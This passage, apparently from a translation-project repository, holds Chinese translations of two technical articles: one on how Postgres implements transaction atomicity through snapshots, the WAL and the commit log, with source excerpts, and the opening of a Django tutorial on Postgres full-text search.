是数据可见的上限；`xid >= xmax` 的事务对快照是不可见的。\n\n最后，当快照被创建，它会定义一个 `*xip` 作为存储所有事务 `xid` 的数组。`*xip` 存在是因为即使 `xmin` 被设定为可见边界，可能有一些已经提交的事务的 `xid` 大于 `xmin`，但也存在 `xmin` **也**大于一些处于执行阶段的事务的 `xid`。\n\n我们希望任何 `xid > xmin` 的事务提交结果都是可见的，但事实上它们被隐藏了。快照创建的时候，`*xip` 存储的有效事务清单可以帮助我们辨别各事务身份。\n\n[![](https://brandur.org/assets/postgres-atomicity/snapshot-creation.svg)](https://brandur.org/assets/postgres-atomicity/snapshot-creation.svg)\n\n事务是对数据库进行操作，快照是为了抓捕数据库一瞬间的信息。\n\n## 开启事务\n\n当你执行 `BEGIN` 语句，尽管 Postgres 对于一些常用的操作会有相应优化，但它会尽可能地推迟更多开销比较大的操作。举个例子，一个新的事务在开始修改数据之前，我们不会给它分配 xid。这样做可以减少在其他地方追踪它的花费。\n\n新的事务也不会立即使用快照。当事务运行第一个查询，`exec_simple_query` ([在 `postgres.c`](https://github.com/postgres/postgres/blob/b35006ecccf505d05fd77ce0c820943996ad7ee9/src/backend/tcop/postgres.c#L1010))才会将其入栈。甚至一个简单的 `SELECT 1;` 语句也会触发：\n\n```\nstatic void\nexec_simple_query(const char *query_string)\n{\n    ...\n\n    /*\n     * 如果解析/计划需要，则设置一个快照\n     */\n    if (analyze_requires_snapshot(parsetree))\n    {\n        PushActiveSnapshot(GetTransactionSnapshot());\n        snapshot_set = true;\n    }\n\n    ...\n}\n```\n\n创建新快照是程序真正开始加载的起始点。这是 `GetSnapshotData` ([在 `procarray.c`](https://github.com/postgres/postgres/blob/b35006ecccf505d05fd77ce0c820943996ad7ee9/src/backend/storage/ipc/procarray.c#L1507)):\n\n```\nSnapshot\nGetSnapshotData(Snapshot snapshot)\n{\n    /* xmax 总是等于 latestCompletedXid + 1 */\n    xmax = ShmemVariableCache->latestCompletedXid;\n    Assert(TransactionIdIsNormal(xmax));\n    TransactionIdAdvance(xmax);\n\n    ...\n\n    snapshot->xmax = xmax;\n}\n```\n\n这个函数做了很多初始化的工作，但像我们谈到的，它最主要的工作就是设置快照的 `xmin`，`xmax`，和 `*xip`。其中最简单的就是设置 `xmax`，它可以从 Postmaster 管理的共享存储器中检索出来。每个提交的事务都会通知 Postmaster，和 `latestCompletedXid` 将会被更新，如果 `xid` 高于当前 `xid` 的值（稍后将详细介绍）。\n\n需要注意的是，最后的 `xid` 自增是由函数实行的。因为在 Postgres 里面，事务的 IDs 是被允许包装，所以并不是单纯的自增那么简单。一个事务 ID 是被定义为一个无符号32位整数(来自 [c.h](https://github.com/postgres/postgres/blob/b35006ecccf505d05fd77ce0c820943996ad7ee9/src/include/c.h#L397)):\n\n```\ntypedef uint32 TransactionId;\n```\n\n尽管 `xid` 是看情况来分配的（上文提过，读取数据时是不需要它的），但是系统大量的吞吐量很容易就达到32位的边界，所以系统需要根据需求将 `xid` 序列进行“重置”。这是由一些预处理器处理的(在 [transam.h](https://github.com/postgres/postgres/blob/b35006ecccf505d05fd77ce0c820943996ad7ee9/src/include/access/transam.h#L31)):\n\n```\n#define InvalidTransactionId        ((TransactionId) 0)\n#define BootstrapTransactionId      ((TransactionId) 1)\n#define FrozenTransactionId         ((TransactionId) 2)\n#define FirstNormalTransactionId    ((TransactionId) 3)\n\n...\n\n/* 提前一个事务ID变量, 直接操作 */\n#define TransactionIdAdvance(dest)    \\\n    do { \\\n        (dest)++; \\\n        if ((dest) < FirstNormalTransactionId) \\\n            (dest) = FirstNormalTransactionId; \\\n    } while(0)\n```\n\n最初的几个 ID 被保留作为特殊标识符，所以我们一般跳过它，从 `3` 开始。\n\n回到 `GetSnapshotData` 里，通过迭代所有正在执行的事务我们可以得到 `xmin` 和 `xip` (回顾[快照](#snapshots)中它们的作用):\n\n```\n/*\n * 循环 procArray 查看 xid，xmin，和 subxids。  \n * 目的是得到所有 active xids，找到最低的 xmin，和试着去记录 subxids。\n * \n */\nfor (index = 0; index < numProcs; index++)\n{\n    volatile PGXACT *pgxact = &allPgXact[pgprocno];\n    TransactionId xid;\n    xid = pgxact->xmin; /* fetch just once */\n\n    /*\n     * 如果事务中没有被赋值的 XID，我们可以跳过；\n     * 对于 sub-XIDs 也同理。如果 XID >= xmax，我们也可以跳过它；\n     * 这样的事务被认为(任何 sub-XIDs 都将 >= xmax)。\n     * \n     */\n    if (!TransactionIdIsNormal(xid)\n        || !NormalTransactionIdPrecedes(xid, xmax))\n        continue;\n\n    if (NormalTransactionIdPrecedes(xid, xmin))\n        xmin = xid;\n\n    /* 添加 XID 到快照中。 */\n    snapshot->xip[count++] = xid;\n\n    ...\n}\n\n...\n\nsnapshot->xmin = xmin;\n```\n\n## 提交事务\n\n事务通过 [`CommitTransaction` (在 `xact.c`)](https://github.com/postgres/postgres/blob/b35006ecccf505d05fd77ce0c820943996ad7ee9/src/backend/access/transam/xact.c#L1939)被提交。函数非常复杂，下面代码是函数比较重要部分：\n\n```\nstatic void\nCommitTransaction(void)\n{\n    ...\n\n    /*\n     * 我们需要去 pg_xact 标记 XIDs 来表示已提交。作为\n     * 已稳定提交的标记。\n     */\n    latestXid = RecordTransactionCommit();\n\n    /*\n     * 让其他知道没有其他事务在程序中。\n     * 需要注意的是，这个操作必须在释放锁之前\n     * 和记录事务提交之前完成。\n     */\n    ProcArrayEndTransaction(MyProc, latestXid);\n\n    ...\n}\n```\n\n### 持久性和 WAL \n\nPostgres 是完全围绕着持久性的概念设计的。这样即使像在外力摧毁或功率损耗的情况下，已提交的事务也保持原有的状态。像许多优秀的系统，Postgres 使用**预写式日志**( **WAL**，或 “xlog”）去实现稳定。所有的更改被记录进磁盘，甚至像宕机这种事情，Postgres 会搜寻 WAL，然后重新恢复没有写进数据文件的更改记录。\n\n从上面 `RecordTransactionCommit` 的片段代码中，将事务的状态更改到 WAL：\n\n```\nstatic TransactionId\nRecordTransactionCommit(void)\n{\n    bool markXidCommitted = TransactionIdIsValid(xid);\n\n    /*\n     * 如果目前我们还没有指派 XID，那我们就不能再指派，也不能\n     * 写入提交记录\n     */\n    if (!markXidCommitted)\n    {\n        ...\n    } else {\n        XactLogCommitRecord(xactStopTimestamp,\n                            nchildren, children, nrels, rels,\n                            nmsgs, invalMessages,\n                            RelcacheInitFileInval, forceSyncCommit,\n                            MyXactFlags,\n                            InvalidTransactionId /* plain commit */ );\n\n        ....\n    }\n\n    if ((wrote_xlog && markXidCommitted &&\n         synchronous_commit > SYNCHRONOUS_COMMIT_OFF) ||\n        forceSyncCommit || nrels > 0)\n    {\n        XLogFlush(XactLastRecEnd);\n\n        /*\n         * 如果我们写入一个有关提交的记录，那么可能更新 CLOG\n         */\n        if (markXidCommitted)\n            TransactionIdCommitTree(xid, nchildren, children);\n    }\n\n    ...\n}\n```\n\n### commit log\n\n伴随着 WAL，Postgres 也有一个**commit log**（或者叫 “clog” 和 “pg_xact”）。这个记录都保存事务提交痕迹，无论最后事务提交与否。上面的 `TransactionIdCommitTree` 实现了这个功能 - 首先会尝试把一系列的信息写入 WAL，然后 `TransactionIdCommitTree` 会在 commit log 中改为“已提交”。\n\n虽然 commit log 也被称为“日志”，但实际上它是一个提交状态的位图，在共享内存和在磁盘上的进行拆分。\n在现代编程中很少出现这么简约的例子，事务的状态可以仅使用二个字节来记录，我们能每字节存储四个事务，或者每个标准 8k 页面存储 32758。\n\n来自 [`clog.h`](https://github.com/postgres/postgres/blob/b35006ecccf505d05fd77ce0c820943996ad7ee9/src/include/access/clog.h#L26) 和 [`clog.c`](https://github.com/postgres/postgres/blob/b35006ecccf505d05fd77ce0c820943996ad7ee9/src/backend/access/transam/clog.c#L57):\n\n```\n#define TRANSACTION_STATUS_IN_PROGRESS      0x00\n#define TRANSACTION_STATUS_COMMITTED        0x01\n#define TRANSACTION_STATUS_ABORTED          0x02\n#define TRANSACTION_STATUS_SUB_COMMITTED    0x03\n\n#define CLOG_BITS_PER_XACT  2\n#define CLOG_XACTS_PER_BYTE 4\n#define CLOG_XACTS_PER_PAGE (BLCKSZ * CLOG_XACTS_PER_BYTE)\n```\n\n### 优化的规模\n\n稳定性固然重要，但性能表现也是一个 Postgres 哲学中的核心元素。若是事务从不赋值 `xid`，Postgres 就会跳过 WAL 和提交日志。若是事务被中止，我们仍然会把它中止的状态写进 WAL 和 commit log，但不要急着马上去刷新（同步），因为实际上即使系统崩溃了，我们也不会丢失任何信息。在故障恢复期间，Postgres 会提示没有标记的事务，认为它们被中止了。\n\n### 防御性编程\n\n`TransactionIdCommitTree` (在 [transam.c](https://github.com/postgres/postgres/blob/b35006ecccf505d05fd77ce0c820943996ad7ee9/src/backend/access/transam/transam.c#L259), 和 它的 实现 `TransactionIdSetTreeStatus` 在 [clog.c](https://github.com/postgres/postgres/blob/b35006ecccf505d05fd77ce0c820943996ad7ee9/src/backend/access/transam/clog.c#L148)) 提交信息呈树状，因为用户接下来可能还有二次提交。我不会详细介绍二次提交，因为二次提交使 `TransactionIdCommitTree` 不能保证原子性，每一个二次提交都单独提交，而父进程被记录为最后一次操作。当 Postgres 在宕机中恢复数据时，二次提交记录不被认为是提交的（即使它们已经同样被标记）直到父记录被读取和确认提交。\n\n这再一次体现原子性；系统可以成功记录任何二次提交的记录，但在它写入父进程之前就崩溃了。\n\n\n就像[在 `clog.c`](https://github.com/postgres/postgres/blob/b35006ecccf505d05fd77ce0c820943996ad7ee9/src/backend/access/transam/clog.c#L254) 所实现的:\n\n```\n/*\n * 将提交日志中的事务目录的最终状态记录到单个页面上所有目录上。\n * 原子只出现在这个页面。\n *\n * 其他的 API 与 TransactionIdSetTreeStatus() 相同。\n */\nstatic void\nTransactionIdSetPageStatus(TransactionId xid, int nsubxids,\n                           TransactionId *subxids, XidStatus status,\n                           XLogRecPtr lsn, int pageno)\n{\n    ...\n\n    LWLockAcquire(CLogControlLock, LW_EXCLUSIVE);\n\n    /*\n     * 无论什么情况，都设置事务的 id。\n     *\n     * 如果我们在写的时候在这个页面上更新超过一个 xid，\n     * 我们可能发现有些位转到了磁盘，有些则不会。\n     * 如果我们在更新页面的时候提交了一个破坏原子性的最高级 xid，\n     * 那么在我们标记最高级的提交之前我们先提交 subxids。\n     * \n     */\n    if (TransactionIdIsValid(xid))\n    {\n        /* Subtransactions first, if needed ... */\n        if (status == TRANSACTION_STATUS_COMMITTED)\n        {\n            for (i = 0; i < nsubxids; i++)\n            {\n                Assert(ClogCtl->shared->page_number[slotno] == TransactionIdToPage(subxids[i]));\n                TransactionIdSetStatusBit(subxids[i],\n                                          TRANSACTION_STATUS_SUB_COMMITTED,\n                                          lsn, slotno);\n            }\n        }\n\n        /* ... 然后是主事务 */\n        TransactionIdSetStatusBit(xid, status, lsn, slotno);\n    }\n\n    ...\n\n    LWLockRelease(CLogControlLock);\n}\n```\n### 通过共用存储器来标记完成的事务\n\n当事务被记录到提交日志，向系统其他部分进行提示是一种安全行为。这发生在上面的 `CommitTransaction` 的第二次调用([在 procarray.c](https://github.com/postgres/postgres/blob/b35006ecccf505d05fd77ce0c820943996ad7ee9/src/backend/storage/ipc/procarray.c#L394)):\n\n```\nvoid\nProcArrayEndTransaction(PGPROC *proc, TransactionId latestXid)\n{\n    /*\n     * 当清除我们的 XID时，我们必须锁住 ProcArrayLock\n     * 这样当别人设置快照的时候，运行的事务已全被清空了。\n     * 看讨论\n     * src/backend/access/transam/README.\n     */\n    if (LWLockConditionalAcquire(ProcArrayLock, LW_EXCLUSIVE))\n    {\n        ProcArrayEndTransactionInternal(proc, pgxact, latestXid);\n        LWLockRelease(ProcArrayLock);\n    }\n\n    ...\n}\n\nstatic inline void\nProcArrayEndTransactionInternal(PGPROC *proc, PGXACT *pgxact,\n                                TransactionId latestXid)\n{\n    ... \n\n    /* 也是在持锁的情况下提前全局 latestCompletedXid */\n    if (TransactionIdPrecedes(ShmemVariableCache->latestCompletedXid,\n                              latestXid))\n        ShmemVariableCache->latestCompletedXid = latestXid;\n}\n```\n\n你可能想知道什么是“proc array”。不像其他的服务进程，Postgres 没有使用线程，而是使用一个分岔模型的程序来操作并发机制。当它接受一个新连接，Postmaster 分开一个新服务器进程([在 `postmaster.c`](https://github.com/postgres/postgres/blob/b35006ecccf505d05fd77ce0c820943996ad7ee9/src/backend/postmaster/postmaster.c#L4014))。使用 `PGPROC` 数据结构来表示服务器进程 ([在 `proc.h`](https://github.com/postgres/postgres/blob/b35006ecccf505d05fd77ce0c820943996ad7ee9/src/include/storage/proc.h#L94))，和有效的程序的集合都可以在共用存储器追踪到，这就是“proc array”。\n\n现在还记得我们如何创建一个快照并把它的 `xmax` 设置为 `latestCompletedXid + 1`？通过把全局共用存储器中的 `latestCompletedXid` 赋值给刚提交的事务的 `xid`，我们把它的结果对所有从这一刻开始，任何服务器进程的新快照都可见。\n\n看以下获取锁和释放锁所调用的 `LWLockConditionalAcquire` 和 `LWLockRelease`。大多数时候，Postgres 非常乐意让程序都并行工作，但是有一些地方需要获得锁来避免争夺，而这就是需要用到它们的时候。在文章的开头，我们提到了在 Postgres 的事务是如何按顺序依次提交或中止的。`ProcArrayEndTransaction` 需要独占锁以便于当它更新  `latestCompletedXid` 的时候不被别的程序打扰。\n\n### 响应客户端\n\n在整个流程中，客户端在它的事务被确认之前会同步地等待。部分原子性是虚构数据库标记事务为提交，这不是不可能的。很多地方都可能发生故障，但是如果出现了故障，客户端会找出它然后去重试或解决问题。\n\n## 检查可见性\n\n我们之前说过如何将可见的信息存储在堆元组。`heapgettup` ([heapam.c](https://github.com/postgres/postgres/blob/b35006ecccf505d05fd77ce0c820943996ad7ee9/src/backend/access/heap/heapam.c#L478)) 是负责扫描堆，看看里面有没有符合快照可见性的标准：\n\n```\nstatic void\nheapgettup(HeapScanDesc scan,\n           ScanDirection dir,\n           int nkeys,\n           ScanKey key)\n{\n    ...\n\n    /*\n     * 预先扫描直到找到符合的元组\n     * \n     */\n    lpp = PageGetItemId(dp, lineoff);\n    for (;;)\n    {\n        /*\n         * if current tuple qualifies, return it.\n         */\n        valid = HeapTupleSatisfiesVisibility(tuple,\n                                             snapshot,\n                                             scan->rs_cbuf);\n\n        if (valid)\n        {\n            return;\n        }\n\n        ++lpp;            /* 这个页面的itemId数组向前移动一个索引 */\n        ++lineoff;\n    }\n\n    ...\n}\n```\n\n`HeapTupleSatisfiesVisibility` 是一个预处理宏，它将会调用 “satisfies” 功能像 `HeapTupleSatisfiesMVCC` ([在 `tqual.c`](https://github.com/postgres/postgres/blob/b35006ecccf505d05fd77ce0c820943996ad7ee9/src/backend/utils/time/tqual.c#L962)):\n\n```\nbool\nHeapTupleSatisfiesMVCC(HeapTuple htup, Snapshot snapshot,\n                       Buffer buffer)\n{\n    ...\n\n    else if (TransactionIdDidCommit(HeapTupleHeaderGetRawXmin(tuple)))\n        SetHintBits(tuple, buffer, HEAP_XMIN_COMMITTED,\n                    HeapTupleHeaderGetRawXmin(tuple));\n\n    ...\n\n    /* xmax transaction committed */\n\n    return false;\n}\n```\n\n和 `TransactionIdDidCommit` ([来自 `transam.c`](https://github.com/postgres/postgres/blob/b35006ecccf505d05fd77ce0c820943996ad7ee9/src/backend/access/transam/transam.c#L124)):\n\n```\nbool /* true if given transaction committed */\nTransactionIdDidCommit(TransactionId transactionId)\n{\n    XidStatus xidstatus;\n\n    xidstatus = TransactionLogFetch(transactionId);\n\n    /*\n     *  如果该事务标记提交，那就提交\n     */\n    if (xidstatus == TRANSACTION_STATUS_COMMITTED)\n        return true;\n\n    ...\n}\n```\n\n进一步探究 `TransactionLogFetch` 将揭示了它的工作原理。它从给出的事务 ID 计算提交日志中的位置，并通过它获取该事务中的提交状态。事务提交是否用于帮助确定元组的可见性。\n\n关键在于一致性，提交日志被认为是提交状态的标准（还有扩展性，可见性）<sup>[\\[3\\]](#footnote-3)</sup>。无论 Postgres 是否在数小时前成功提交了事务，或服务器刚刚从崩溃的前几秒中恢复，同样的信息都会被返回。\n\n### 提示位\n\n在从数据可见检查返回之前，从上面的 `HeapTupleSatisfiesMVCC` 上再做一件事:\n\n```\nSetHintBits(tuple, buffer, HEAP_XMIN_COMMITTED,\n            HeapTupleHeaderGetRawXmin(tuple));\n```\n\n核对提交日志去查看元组的 `xmin` 或 `xmax` 事务是否被提交是一个昂贵的操作。避免每次都要访问它，Postgres 会为被扫描的堆元组设置一个特别的提交状态标记（被称为“提示位”）。后续操作可以检查堆提示位并保存到提交日志。\n\n## 盒子的黑墙\n\n当我在数据库运行一个事务：\n\n```\nBEGIN;\n\nSELECT * FROM users\n\nINSERT INTO users (email) VALUES ('brandur@example.com')\nRETURNING *;\n\nCOMMIT;\n```\n\n我不会停止思考其中发生什么。我得到一个强大的高级抽象（以 SQL 形式），我知道这样做是可靠的，如我们所看到的，Postgres 在底层做好了所有繁杂的细节工作。好的软件就是一个黑盒子，而 Postgres 是特别黑的那种（尽管有可访问的内部的接口）。\n\n感谢 [Peter Geoghegan](https://twitter.com/petervgeoghegan) 耐心地回答了我所有业余问题，有关 Postgres 事务和快照，和给予我寻找相关源码的指引。\n\n- [1](#footnote-1-source) 提几句建议：Postgres 源码是非常庞大，所以我略写了一些细节，让读者更容易消化。由于 Postgres 还在持续开发中，引用的代码可能会过时。\n- [2](#footnote-2-source) 读者可能会注意到，`xmin` and `xmax` 对于跟踪元组的创建和删除是非常适合，但是它们还不足够去处理更新操作。为了达到目的，目前我不会谈论更新操作是如何实现的。\n- [3](#footnote-3-source) 注意，提交日志最终将会被截断，但只能在快照的 `xmin` 范围之外，所以在对 WAL 检查之前，需要先对可见性进行检查。\n\n**混乱世界中的稳定：Postgres 如何使事务变得原子化**发表于**旧金山**在 2017 年 8 月 16 日。\n\n**在推特上可以找到我 [@brandur](https://twitter.com/brandur)**\n请在 **[Hacker News](https://news.ycombinator.com/item?id=15027870)** 上发表你的见解。\n如果文章有错，请 [pull request](https://github.com/brandur/sorg/edit/master/content/articles/postgres-atomicity.md).\n\n\n  ---\n\n  > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n  \n"
  },
  {
    "path": "TODO/postgres-full-text-search-with-django.md",
    "content": "> * 原文地址：[Postgres Full-Text Search With Django](http://blog.lotech.org/postgres-full-text-search-with-django.html)\n> * 原文作者：[Nathan Shafer](http://blog.lotech.org/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[stein](https://github.com/steinliber)\n> * 校对者：[Zheaoli](https://github.com/Zheaoli) [lovexiaov](https://github.com/lovexiaov)\n\n# Django 基于 Postgres 的全文搜索 #\n\nDjango 在 1.10 版本已经增加了对 Postgres 内建全文检索的支持。当我们想要增加 django 的检索能力又不想去建立和维护其它服务时，相较于其它更重型的像 [elasticsearch](https://www.elastic.co/products/elasticsearch)  或者  [SOLR](http://lucene.apache.org/solr/) 搜索系统， Posgres 会是一个很好的选择。对于多数使用场景而言，Postgres 的全文搜索能力已经 [足够了](http://rachbelaid.com/postgres-full-text-search-is-good-enough/) 。\n\n在这个简明攻略中，我将会展示如何为 Django 应用添加全文检索功能。在 Django [文档](https://docs.djangoproject.com/en/1.11/ref/contrib/postgres/search/) 中已经包含了很全面的简单的使用案例，所以我会直接关注于更加进阶的例子，这些例子将允许在不同的字段间查询，包括字段间对应关系的数据，为不同字段设置权重，添加索引来加快查询速度，以及确保查询结果是实时的方法。\n\n不言自明，这次主要说的是 Django 和 Postgres 后端技术栈。在 SQLite 或者 MYSQL 中是不会有效的。我也认为你已经熟悉 Django 并且对 Postgres 有基本的了解。\n\n在 [Github](https://github.com/nshafer/pgfulltext) 上有这个攻略的项目示例。\n\n## 模型 ##\n\n我们将使用这些模型作为例子。这是一个类似博客的应用程序的简单数据，其中包括直接包含和通过关系引用数据的 Posts 。但是最重要的是，我们有了想要通过多对一关系( author ) 和 多对多关系( tag ) 查询的数据。\n\n```\nclass Author(models.Model):\n    name = models.CharField(max_length=50)\n\n\nclass Tag(models.Model):\n    name = models.CharField(max_length=20)\n\n\nclass Post(models.Model):\n    title = models.CharField(max_length=50)\n    content = models.TextField()\n    author = models.ForeignKey(Author)\n    tags = models.ManyToManyField(Tag)\n```\n\n我们将会使用以下数据：\n\n```\njim = Author.objects.create(name=\"Jim Blogwriter\")\nnancy = Author.objects.create(name=\"Nancy Blogaday\")\n\ndatabases = Tag.objects.create(name=\"Databases\")\nprogramming = Tag.objects.create(name=\"Programming\")\npython = Tag.objects.create(name=\"Python\")\npostgres = Tag.objects.create(name=\"Postgres\")\ndjango = Tag.objects.create(name=\"Django\")\n\ndjango_post = Post.objects.create(\n    title=\"Django, the western character\",\n    content=\"Django is a character who appears in a number of spaghetti \"\n            \"western films.\",\n    author=jim\n)\ndjango_post.tags.add(django)\n\npython_post = Post.objects.create(\n    title=\"Python is a programming language\",\n    content=\"Python is a programming language created by Guido van Rossum \"\n            \"and first released in 1991. Django is written in Python. Python \"\n            \"can connect to databases.\",\n    author=nancy\n)\npython_post.tags.add(django, programming, python)\n\npostgres_post = Post.objects.create(\n    title=\"What is Postgres\",\n    content=\"PostgreSQL, commonly Postgres, is an open-source, \"\n            \"object-relational database (ORDBMS).\",\n    author=nancy\n)\npostgres_post.tags.add(databases, postgres)\n```\n\n## 创建文档 ##\n\n首先是为我们的 posts 创建**文档**。每一份文档在逻辑上都将代表一个 post ，包括\n\n- title\n- content\n- Author's name\n- All tag names\n\n这里是 Django 查询的一个例子：\n\n```\nfrom django.db.models.functions import Concat\nfrom django.db.models import TextField, Value as V\nfrom django.contrib.postgres.aggregates import StringAgg\n\ndocument=Concat(\n    'title', V(' '),\n    'content', V(' '),\n    'author__name', V(' '),\n    StringAgg('tags__name', delimiter=' '),\n    output_field=TextField()\n)\nPost.objects.annotate(document=document).values_list('document', flat=True)\n```\n\n```\n<QuerySet [\n  \"Django, the western character Django is a character who appears in a\n    number of spaghetti western films. Jim Blogwriter Django\",\n  \"Python is a programming language Python is a programming language\n    created by Guido van Rossum and first released in 1991. Django is\n    written in Python. Python can connect to databases. Nancy Blogaday\n    Python Django Programming\",\n  \"What is Postgres PostgreSQL, commonly Postgres, is an open-source,\n    object-relational database (ORDBMS). Nancy Blogaday Postgres Databases\"\n]>\n```\n\n这包括了我们每篇文章实例的所有数据，字段数据间通过空格来分割。\n\n## 查询向量 ##\n\n我们已经有了我们的文档，我们需要把他们转换成 Postgres 可以索引和查询的格式。 Postgres 把这种形式叫做 [向量](https://www.postgresql.org/docs/9.6/static/textsearch-controls.html#TEXTSEARCH-PARSING-DOCUMENTS)。Django 提供了一个该功能的封装类叫做  [SearchVector](https://docs.djangoproject.com/en/1.11/ref/contrib/postgres/search/#searchvector)。一个 `SearchVector` 类也可以接受权重参数，接下来我们会重写查询语句来创建向量。\n\n```\nfrom django.contrib.postgres.search import SearchVector\nfrom django.contrib.postgres.aggregates import StringAgg\n\nvector=SearchVector('title', weight='A') + \\\n       SearchVector('content', weight='C') + \\\n       SearchVector('author__name', weight='B') + \\\n       SearchVector(StringAgg('tags__name', delimiter=' '), weight='B')\nPost.objects.annotate(document=vector).values_list('document', flat=True)\n```\n\n```\n<QuerySet [\n  \"'appear':10C 'blogwrit':19B 'charact':4A,8C 'django':1A,5C,20B 'film':17C\n    'jim':18B 'number':13C 'spaghetti':15C 'western':3A,16C\",\n  \"'1991':20C 'blogaday':32B 'connect':28C 'creat':11C 'databas':30C\n    'django':21C,34B 'first':17C 'guido':13C 'languag':5A,10C 'nanci':31B\n    'program':4A,9C,35B 'python':1A,6C,25C,26C,33B 'releas':18C\n    'rossum':15C 'van':14C 'written':23C\",\n  \"'blogaday':18B 'common':5C 'databas':15C,20B 'nanci':17B 'object':13C\n    'object-rel':12C 'open':10C 'open-sourc':9C 'ordbm':16C\n    'postgr':3A,6C,19B 'postgresql':4C 'relat':14C 'sourc':11C\"\n]>\n```\n\n每个文档都被统一到一组常用的词根。其中包括所有字母都切换到小写，去除通用的前缀和后缀（比如像英语中的 's' 和 'es'），并且移除掉像 'a'，'an' 和 'the' 这样的通用词汇。这个数据前面的数字表示词根在文档中的位置，后面的字母表示这个词根的比重。如果我们想要覆盖 Postgres 处理这些词汇的配置，比如说使用不同的语言，我们需要向查询向量传递一个额外的参数 config。如果没有声明这个配置， Postgres 将会使用数据库默认的配置，这样很可能基于其配置的 locale。\n\n## 执行一次查询 ##\n\n我们现在已经有了我们的文档，就可以执行一次查询啦。实现查询最简单的方式就是在我们的文档中筛选。\n\n```\nvector=SearchVector('title',weight='A')+ \\\n       SearchVector('content',weight='C')+ \\\n       SearchVector('author__name',weight='B')+ \\\n       SearchVector(StringAgg('tags__name',delimiter=' '),weight='B')\n       Post.objects.annotate(document=vector).filter(document='django')\n```\n\n```\n<QuerySet [<Post: Django, the western character>,\n           <Post: Python is a programming language>]>\n```\n\n在默认情况下，django 将会使用 Postgres 的 `plainto_tsquery()`[函数](https://www.postgresql.org/docs/9.6/static/textsearch-controls.html#TEXTSEARCH-PARSING-QUERIES) 来解析这个查询。这种方式的缺点在于它将会搜索与所有单词都匹配的文档。所以，我们可以传递一个 [SearchQuery()](https://docs.djangoproject.com/en/1.11/ref/contrib/postgres/search/#searchquery) 的实例而不是字符串，这样查询条件就可以使用布尔操作符组合起来了。\n\n```\nfrom django.contrib.postgres.search import SearchQuery\n\nquery = SearchQuery('django') & SearchQuery('program')\nPost.objects.annotate(document=vector).filter(document=query)\n```\n\n如果我们在 SearchVector() 中使用了自定义的 `config`，那么我们就应该在 SearchQuery() 中使用同样的 `config`。\n\n## 排序 ##\n\n考虑到我们为文档的每个部分分配了不同的权重，如果可以对返回的结果进行排序将会更有意义。Django 为此提供了 SearchRank 类。\n\n```\nfrom django.contrib.postgres.search import SearchVector, SearchQuery, SearchRank\nfrom django.contrib.postgres.aggregates import StringAgg\n\nvector=SearchVector('title', weight='A') + \\\n       SearchVector('content', weight='C') + \\\n       SearchVector('author__name', weight='B') + \\\n       SearchVector(StringAgg('tags__name', delimiter=' '), weight='B')\nquery = SearchQuery('django')\nPost.objects\\\n    .annotate(document=vector, rank=SearchRank(vector, query))\\\n    .filter(document=query)\\\n    .order_by('-rank')\\\n    .values_list('title', 'rank')\n\n```\n\n```\n<QuerySet [\n  ('Django, the western character', 0.665342),\n  ('Python is a programming language', 0.364756)\n]>\n\n```\n\n这提供了我们想要的功能，但如果我们关注性能那这也许就不是最好的方式。我们每执行一次查询，数据库就要为表中的每一行构建文档，然后才能对其搜索并排序。如果查询的数据只有几行当然没什么，但在数据超过几百行之后，查询的速度将会逐渐慢到不可接受的地步。如果我们的文档只包含一个表的数据，我们可以[建立一个 GIN 索引](https://www.postgresql.org/docs/current/static/textsearch-tables.html#TEXTSEARCH-TABLES-INDEX)来解决这个问题，但如果我们需要从其它的表里获取额外的数据这样做就不行了。所以我们真正想要做的是预先计算所有的文档并将它们存储在数据库中。\n\n# 用 SearchVectorField 来储存向量 #\n\nDjango 为我们提供了一个叫做 `SearchVectorField` 的字段来储存预先计算好的向量。我们将会把这个字段加入到我们的 Post 模型。\n\n```\nfrom django.contrib.postgres.search import SearchVectorField\n\nclass Post(models.Model):\n    ...\n    search_vector = SearchVectorField(null=True)\n```\n\n之后我们会执行 migrate 操作来添加这个字段。\n\n```\n./manage.py makemigrations\n./manage.py migrate\n\n```\n\n让我们现在手工更新这个字段。\n\n```\nfrom django.contrib.postgres.search import SearchVector, SearchQuery, SearchRank\nfrom django.contrib.postgres.aggregates import StringAgg\n\nvector=SearchVector('title', weight='A') + \\\n       SearchVector('content', weight='C') + \\\n       SearchVector('author__name', weight='B') + \\\n       SearchVector(StringAgg('tags__name', delimiter=' '), weight='B')\nfor post in Post.objects.annotate(document=vector):\n    post.search_vector = post.document\n    post.save(update_fields=['search_vector'])\n```\n\n**注意：** 这将为表中的每一行触发一次UPDATE，如果我们的表有很多行，这过程将会持续很久很久。如果我们仅需要在文档中包含来自单个模型的字段，那么这么做会更有效率：\n\n```\nvector=SearchVector('title', weight='A') + \\\n       SearchVector('content', weight='C')\nPost.objects.update(search_vector=vector)\n```\n\nDjango 并不允许我们使用带有 update 子句的集合函数，但是 Postgres 允许，所以如果我们真的想那么做的话，我们可以执行一次像这样的查询来一次性更新所有文档。\n\n```\nUPDATE blog_post\nSET search_vector = document.vector\nFROM (\n     SELECT post.id,\n            setweight(to_tsvector(post.title), 'A') ||\n            setweight(to_tsvector(post.content), 'C') ||\n            setweight(to_tsvector(author.name), 'B') ||\n            setweight(to_tsvector(COALESCE(string_agg(tag.name, ', '), '')), 'B')\n              AS vector\n     FROM blog_post AS post\n     JOIN blog_author AS author ON author.id = post.author_id\n     JOIN blog_post_tags AS post_tags ON post_tags.post_id = post.id\n     JOIN blog_tag AS tag ON tag.id = post_tags.tag_id\n     GROUP BY post.id, author.id\n   ) AS document\nWHERE blog_post.id = document.id;\n\n```\n\n## 通过 search_vector 查询 ##\n\n现在我们已经储存了我们的文档，我们就可以很简单的对它们进行查询\n\n```\nfrom django.db.models import F\nfrom django.contrib.postgres.search import SearchVector, SearchQuery, SearchRank\n\nquery = 